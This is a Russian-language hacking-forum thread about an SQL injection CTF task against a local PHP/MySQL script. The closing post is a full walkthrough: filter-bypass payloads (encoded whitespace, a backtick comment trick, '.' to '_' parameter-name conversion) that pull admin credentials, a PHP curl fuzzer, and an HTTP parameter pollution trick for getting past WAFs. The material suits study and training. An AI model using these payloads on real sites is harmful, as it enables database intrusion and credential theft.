Задание №1

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 26 Jul 2017.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Прошло две недели.
    Окончен прием ответов от групп, итоги такие:
    - про МОА известно только то, что Кибер-панк жив и он в хорошей форме.
    - за РОА отдувался один crlf, упс проследил SooLFaa, с повышением.
    - lvl8 - основная ударная группа, лучшие.
    - из паблика прошел только Evan - public champion.

    Все молодцы и красавчики.
    Хорошая работа.

    ====

    Но задание не закрыто, продолжаем решать.
    Настало время подсказок, но поскольку одна уже прошла (backtik), пока просто разжуем то, что известно.

    Задание можно условно поделить на две части
    - получить вывод на экран
    - вывести данные из таблицы admin_site

    Начнем с вывода, мешает "хвост" запроса " and kmag=1".
    Задача давно известная и решается либо обрезанием хвоста (используем комментирование),
    либо достраиваем запрос до валидной конструкции.
    Комментарии детектятся фильтром, поэтому достраиваем.
    Поле kmag отсутствует в таблице admin_site, запрос валится, ну так залечим быстренько это недоразумение, проблема то совсем маленькая.

    ==
    И да, буду принимать и частичное прохождение:
    1 часть - получить вывод
    2 часть - протащить в запрос строку "admin_site"

    Проходить можно в любом порядке.
     
    #21 dooble, 10 Aug 2017
    Last edited: 10 Aug 2017
    Gorev, SooLFaa, st55 and 2 others like this.
    1. dooble

      dooble Members of Antichat

      Joined:
      30 Dec 2016
      Messages:
      231
      Likes Received:
      601
      Reputations:
      145
      Перестали поступать ответы, первая часть не требует каких то особых знаний, даже если не помните синтаксис MySQL, достаточно почитать базовые правила.

      Если кто то решает, отпишитесь в теме, или в личку.

      Или можно закрыть задание и посмотреть прохождения.
       
      1. Тот_самый_Щуп

        Тот_самый_Щуп Reservists Of Antichat

        Joined:
        23 Mar 2017
        Messages:
        265
        Likes Received:
        174
        Reputations:
        119
        Да, все варианты прохождения в деталях ОЧЕНЬ интересно посмотреть. Сам не осилил, но пытался.
        Как я понял из всего написанного, тут несколько разных вариантов обхода, вот их в деталях бы оценить.
         
        dooble likes this.
        1. SooLFaa

          SooLFaa Members of Antichat

          Joined:
          17 Mar 2014
          Messages:
          530
          Likes Received:
          499
          Reputations:
          154
          Вектор один. А кто как байпасит комменты не суть важно.
           
          _________________________
          Suicide likes this.
          1. st55

            st55 Level 8

            Joined:
            20 Apr 2016
            Messages:
            196
            Likes Received:
            344
            Reputations:
            47
            Наверное никто не будет против, если для тех, кто пытается пройти, я подскажу направление. Сам я не сразу додумался до решения, но один человек натолкнул меня на один .pdf файл.
             
            Gorev, seotor and cat1vo like this.
            1. Тот_самый_Щуп

              Тот_самый_Щуп Reservists Of Antichat

              Joined:
              23 Mar 2017
              Messages:
              265
              Likes Received:
              174
              Reputations:
              119
              Да меня собственно, больше всего интересует обход символа _ в регулярке.
               
              1. dooble

                dooble Members of Antichat

                Joined:
                30 Dec 2016
                Messages:
                231
                Likes Received:
                601
                Reputations:
                145
                Подсказки даны достаточно хорошие, чтобы даже не решать, а просто записать ответ.
                Но при условии, что уже немного повтыкал.
                 
                #27 dooble, 15 Aug 2017
                Last edited: 15 Aug 2017
                1. cat1vo

                  cat1vo Level 8

                  Joined:
                  12 Aug 2009
                  Messages:
                  375
                  Likes Received:
                  343
                  Reputations:
                  99
                  У них просто sqlmap не справляется, вот они и в тупике!
                   
                  1. dooble

                    dooble Members of Antichat

                    Joined:
                    30 Dec 2016
                    Messages:
                    231
                    Likes Received:
                    601
                    Reputations:
                    145
                    Просто нет опыта решения задач и нужно некоторое количество разжеванных решений, некоторая начальная база, ступенька, опора.
                    Дальше будет легче.
                     
                    1. seotor

                      seotor New Member

                      Joined:
                      15 Aug 2017
                      Messages:
                      1
                      Likes Received:
                      1
                      Reputations:
                      1
                      Спасибо за подсказку, теперь полностью решил :)
                       
                      dooble likes this.
                      1. dooble

                        dooble Members of Antichat

                        Joined:
                        30 Dec 2016
                        Messages:
                        231
                        Likes Received:
                        601
                        Reputations:
                        145
                        Завтра закрою задание.
                        Можно присылать полусырые ответы, главное чтобы можно было увидеть потенциал.
                         
                        1. Jup1ter_

                          Jup1ter_ New Member

                          Joined:
                          27 Nov 2015
                          Messages:
                          19
                          Likes Received:
                          4
                          Reputations:
                          6
                          Когда новый таск ждать?
                           
                          1. dooble

                            dooble Members of Antichat

                            Joined:
                            30 Dec 2016
                            Messages:
                            231
                            Likes Received:
                            601
                            Reputations:
                            145
                            Пока не знаю.
                            Не планировал ничего, был минутный порыв, отчасти внутренний протест против затянувшегося периода нехватки времени.

                            Но полагаю, если будет интерес, в группах его поддержат обязательно.
                            Возможно и у меня получится.
                             
                            1. dooble

                              dooble Members of Antichat

                              Joined:
                              30 Dec 2016
                              Messages:
                              231
                              Likes Received:
                              601
                              Reputations:
                              145
                              Задание закрыто

                              Постараюсь дать более подробное объяснение, чем принято в заданиях, поскольку хочется показать, что никакая это не уличная магия и не развлекаловка исключительно для групп.
                              Обычная задачка, доступная всякому, освоившему синтаксис мускула и php, и умеющему мыслить логически.
                              Ну, может быть, иногда нужно включать хакерскую догадку, если конкретных знаний пока недостаточно.

                              Задание можно разбить на две подзадачи:
                              - получить вывод информации через SQLi
                              - вывести информацию, уже конкретно из таблицы admin_site

                              Смотрим запрос
                              Code:
                              $sql="select tovar, dataprice, cena from pricelist where $key = $id and kmag=1";
                              Инъекция возможна в переменные $_GET['$key'] и $_GET['$id'].
                              Нам привычнее крутить тут
                              Code:
                              select tovar, dataprice, cena from pricelist where $key = {SQLi} and kmag=1
                              т.е. вызов будет выглядеть так:
                              Code:
                              http://localhost/test.php?id={SQLi}
                              поехали
                              Code:
                              http://localhost/test.php?id=0 union select 1,2,3
                              (далее буду писать только ту часть, что начинается со знака вопроса)
                              сработает фильтр на пробел
                              Code:
                              if(preg_match("|[\[ _\-\]\*(]+|ims", $_SERVER['QUERY_STRING'].urldecode($_SERVER['QUERY_STRING'])))die("Hacking attempt");
                              тогда заменим пробел на варианты из %09 ,%0а, %0b, %0d
                              Code:
                              ?id=0%0aunion%0aselect%0a1,2,3
                              select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3 and kmag=1
                              запрос невалидный, мешает участок " and kmag=1", поле kmag отсутствует в запросе union select.
                              Его нужно отрезать комментариями, или достроить до валидного.
                              Штатные комментарии фильтром запрещены ("-- ","#", "/**/", и даже нештатный ";%00"), поэтому достраиваем запрос.
                              Я пытался подтолкнуть к использованию backtick "`", как эффективного и красивого аналога многострочного комментария и незаслуженно "забытого" в паблике ачата.
                              Code:
                              ?id=0%0aunion%0aselect%0a1,2,3`
                              select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3` and kmag=1
                              В данном случае, все, что идет после обратной кавычки до конца строки (в т.ч. и символы \r\n) будет воспринято, как алиас поля 3, поскольку закрывающая кавычка отсутствует, что эквивалентно действию многострочного комментария.
                              т.е. даже если запрос был бы многострочным
                              Code:
                              $sql="select tovar, dataprice, cena
                                          from pricelist where $key = $id
                                                              and kmag>0
                                                              and kmag<2";
                              backtick его бы отрезал аналогично действию
                              Code:
                              $sql="select tovar, dataprice, cena
                                          from pricelist where $key = {SQLi}/* $id
                                                              and kmag>0
                                                              and kmag<2 */";
                              На рдоте такую тему обсуждали, в т.ч. и мемберы ачата.

                              Или используем вполне себе обычный способ, достраиваем так, чтобы запрос не ломался.
                              Code:
                              ?id=0%0aunion%0aselect%0a1,2,3%0afrom%0apricelist%0awhere%0a1
                              select tovar, dataprice, cena from pricelist where id = 0 union select 1,2,3 from pricelist where 1 and kmag=1
                              Итак, появился вывод
                              Code:
                              | 2 | 1 | 3 |
                              Отлично, теперь достанем поля из таблицы admin_site.
                              Но тут попадаем на конкретный облом, в названии таблицы присутствует символ нижнего подчеркивания "_", который детектится фильтром
                              и в настоящее время нет возможности его обойти, по крайней мере никто публично не заявил, что смог это сделать.
                              На форуме вопрос с фильтрацией "_" тоже неоднократно поднимался и вывод пока один - в общем случае не обходится никак.
                              Что за подвох, задание обязано иметь решение, значит обход все же найден, ладно повтыкаем.
                              На сколько хватит нашего терпения: на час, на два на день, или больше, не очень важно, главное приходим к выводу - не обходится.

                              Вторая часть.
                              Еще раз смотрим, чего то пропустили.
                              Да почти ничего, разве что сделали допущение - без разницы, в какую переменную делать инъекцию.
                              foreach($_GET as $key=>$id){
                              (Здесь $key определяет имя переменной, а $id - ее значение.)
                              И тут либо вспоминаем эту разницу, либо методом хакерского тыка проверяем инъекцию в $_GET['key'].
                              А разница действительно есть и она даже описана в документаци к php http://php.net/manual/ru/language.variables.external.php
                              Смысл в том, что в именах переменных (но не в значениях), переданных через массивы $_GET и $_POST некоторые символы запрещены и преобразуются к знаку подчеркивания "_".
                              А символы эти - пробел, левая квадратная скобка и точка (" ", "[", ".").

                              Фигасе! То, что нужно!
                              Пробел и скобку фильтр детектит, а вот точку пропускает, поэтому окончательный вызов будет таким.
                              Code:
                              http://localhost/test.php?0%0aunion%0aselect%0apassword,user,email%0afrom%0aadmin.site`=xek
                              (здесь "=xek" не несет смысловой нагрузки, просто смайлик ;))
                              запрос приобрел вид
                              Code:
                              select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site` = xek and kmag=1
                              и вернул нужные данные из admin_site
                              Code:
                              | admin | *4414E26EDED6D661B5386813EBBA95065DBC4728 | webmaster@localhost |
                              В условиях, когда backtik перестал работать на новых версиях мускула (во всей линейке 5.7), можно достроить запрос таким образом, чтобы хвост "and kmag=1"
                              не приводил к ошибке выполнения запроса.
                              В таблице admin_site нет поля "kmag", поэтому запрос валится, но такое поле есть в pricelist, поэтому тем, или иным способом добавим таблицу в запрос и достроим до валидного.
                              Например так:
                              Code:
                              http://localhost/test.php?0%09union%09select%09password,user,email%09from%09admin.site,pricelist%09where%091=1
                              соответственно запрос приобрел вид
                              Code:
                              select tovar, dataprice, cena from pricelist where 0 union select password,user,email from admin_site,pricelist where 1 = 1 and kmag=1
                              и уже выполняется нормально.

                              Как искать, когда не знал или не помнил это правило?
                              Гугл: "php переменная get подчеркивание".

                              Или сразу - метод хакерского тыка, можно и более надежное средство - фаззер (кто не знаком, обязательно освойте).
                              Обычно в проблемное место вставляют вывод генератора из 1-3 символов.
                              Как вариант, свой скрипт быстренько накидать.
                              Code:
                              <?
                              $u1 = 'http://localhost/test.php?0    union    select    password,user,email    from    admin';
                              $u2='site,pricelist%09where%091=1';
                              $ch = curl_init();
                              for ($i=0;$i<256;$i++){
                                  curl_setopt_array($ch, array(
                                      CURLOPT_URL => $u1.chr($i).$u2,
                                      CURLOPT_RETURNTRANSFER => 1,
                                  ));
                                  $r = curl_exec($ch);
                                  if(stripos($r,'admin')>0)    echo $i,"<br>",chr($i),"<br>",$r;
                              }
                              curl_close($ch);

                              Про backtik.
                              К сожалению этот удобный способ отходит в историю, как в свое время ушел незакрытый комментарий "/*".
                              Видимо патчили тут
                              https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-29.html
                              https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-11.html
                              https://dev.mysql.com/doc/relnotes/mysql/5.7/en/news-5-7-1.html
                              Replication: Backtick (`) characters were not always handled correctly in internally generated SQL statements, which could sometimes lead to errors on the slave. (Bug #16084594, Bug #68045)
                              References: This issue is a regression of: Bug #14548159, Bug #66550.

                              И остался еще один интересный вопрос, каким образом точка с запятой ";" делает запрос валидным (смотрим прохождения ниже).
                              Не понимаю, как это работает.
                              Это точно не php и не mysql.
                              Есть подозрение, что-то дополнительно обрабатывает запрос, возможно предпроцессор какой то оптимизирует строку запроса.
                              Очень хотелось бы разобраться в причине такого аномального поведения, как минимум, двух серверов.
                              Во первых, нужно понимать причину аномалии и условия возникновения.
                              Во вторых, около этого могут находится и другие интересные эффекты.
                              Может владельцы помогут прояснить причину.

                              Прохождения:
                               
                              #34 dooble, 23 Aug 2017
                              Last edited: 23 Aug 2017
                              1. Тот_самый_Щуп

                                Тот_самый_Щуп Reservists Of Antichat

                                Joined:
                                23 Mar 2017
                                Messages:
                                265
                                Likes Received:
                                174
                                Reputations:
                                119
                                Задание безусловно, безусловно интересное. В первую очередь благодарю за детально описанные решения, причем несколько.
                                Но, говорить, что всё это очевидные вещи понятные новичкам... В общем мне это напомнило вот такое обсуждение: https://rdot.org/forum/showthread.php?t=741
                                Ситуация аналогичная имхо, тем более что уважаемый dooble не понял трюк с ; хотя для некоторых он тоже очевиден.
                                 
                                1. dooble

                                  dooble Members of Antichat

                                  Joined:
                                  30 Dec 2016
                                  Messages:
                                  231
                                  Likes Received:
                                  601
                                  Reputations:
                                  145
                                  Если имеется ввиду не расщепление запросов (что не может служить терминатором, вот при mq=off работало в связке с ";%00"), то большая просьба объяснить феномен.

                                  Давайте разжуем.
                                  MySQL поддерживает расщепление запросов (можно проверить в консольном клиенте), но клиент php должен обратиться, как
                                  Code:
                                  mysqli::multi_query()
                                  mysqli_multi_query () 
                                  Смотрим http://www.php.net/manual/ru/mysqli.multi-query.php
                                  а в скрипте идет обычное $db->query($sql) и если после ";" будет продолжение строки то восприниматься будет, как ошибка, встретился "конец запроса", а следом идет опровержение, текст запроса продолжается.

                                  Но и в случае mysqli_multi_query () запросы должны быть валидные, а мы после ";" передаем мусор, который мускул не сможет обработать и вывалит ошибку синтаксиса.

                                  Т.е. на этих серверах "нечто" убирает этот мусор, перед тем, как отдать на выполнение СУБД.
                                  Либо существует настройка мускула (о которой я не знаю) и она позволяет обрабатывать запрос только до ";".

                                  Версия на обоих аномальных серверах - 10.1.20-MariaDB, поднимал ее локально для проверки, в конфигурации из коробки реагирует на мусор после ";" привычной ошибкой.
                                   
                                  #36 dooble, 23 Aug 2017
                                  Last edited: 23 Aug 2017
                                  1. Тот_самый_Щуп

                                    Тот_самый_Щуп Reservists Of Antichat

                                    Joined:
                                    23 Mar 2017
                                    Messages:
                                    265
                                    Likes Received:
                                    174
                                    Reputations:
                                    119
                                    dooble, я предполагаю, что все гораздо проще, сейчас возможно кто нибудь скинет ссылку на документацию мускуля или php, где будет всё просто и понятно, возможно с аналогичной формулировкой, мол вы разве такую элементарность не знали?
                                    Ещё раз благодарю за квест, столько нового разом узнал. Я вообще ничего этого не знал, ни про ` ни про замену [ или точки на _, и уж тем более про ; а тут сколько нового.
                                    Подобные квесты, когда их суть сводится к полуприватным(назовем это так) техникам, очень полезны, но иногда чуток бомбит, когда делаются заявления, что это очевидно. Очевидно для того, кто читая мануалы мускуля или php случайно находит какую нибудь фичу, которую можно использовать для байпассов... Ну ссылку на подобные рассуждения на рдоте я кидал.
                                     
                                    VentaL74 and dooble like this.
                                    1. Veil

                                      Veil Banned

                                      Joined:
                                      21 May 2015
                                      Messages:
                                      2,020
                                      Likes Received:
                                      3,349
                                      Reputations:
                                      72
                                      Это правильное разжевывание. Одорямс.)))) Главное показать направление. Это отличный ход.
                                       
                                      dooble likes this.
                                      1. ghost8

                                        ghost8 Member

                                        Joined:
                                        29 May 2015
                                        Messages:
                                        110
                                        Likes Received:
                                        20
                                        Reputations:
                                        0
                                        Спасибо за задание,как говорится все проще если вдуматься,но полез куда сложнее))
                                        КрасавчиГ что делаешь такое,
                                        Респект и Уважуха
                                         
                                        1. dooble

                                          dooble Members of Antichat

                                          Joined:
                                          30 Dec 2016
                                          Messages:
                                          231
                                          Likes Received:
                                          601
                                          Reputations:
                                          145
                                          Вот всплыл еще вариант использования, вроде отдельная тема, но грабли те же:

                                          Загрязнение параметров в приложениях на PHP

                                          PHP использует parse_str() для синтаксического анализа параметров, таким образом, что символы "[", "." и "_" воспринимаются как одинаковые. По умолчанию PHP будет использовать последний параметр как действительный.

                                          Таким образом, в случаях, когда PHP работает на бэкэнде, но фронтенд (API шлюз или WAF) проверяет параметр, мы можем передать в PHP поддельные параметры.

                                          http://example.com/hpp.php?account_id=real&account[id=fake

                                          ==

                                          Принимается скриптом по типу:

                                          Code:
                                          <?php
                                          echo $_GET['account_id'];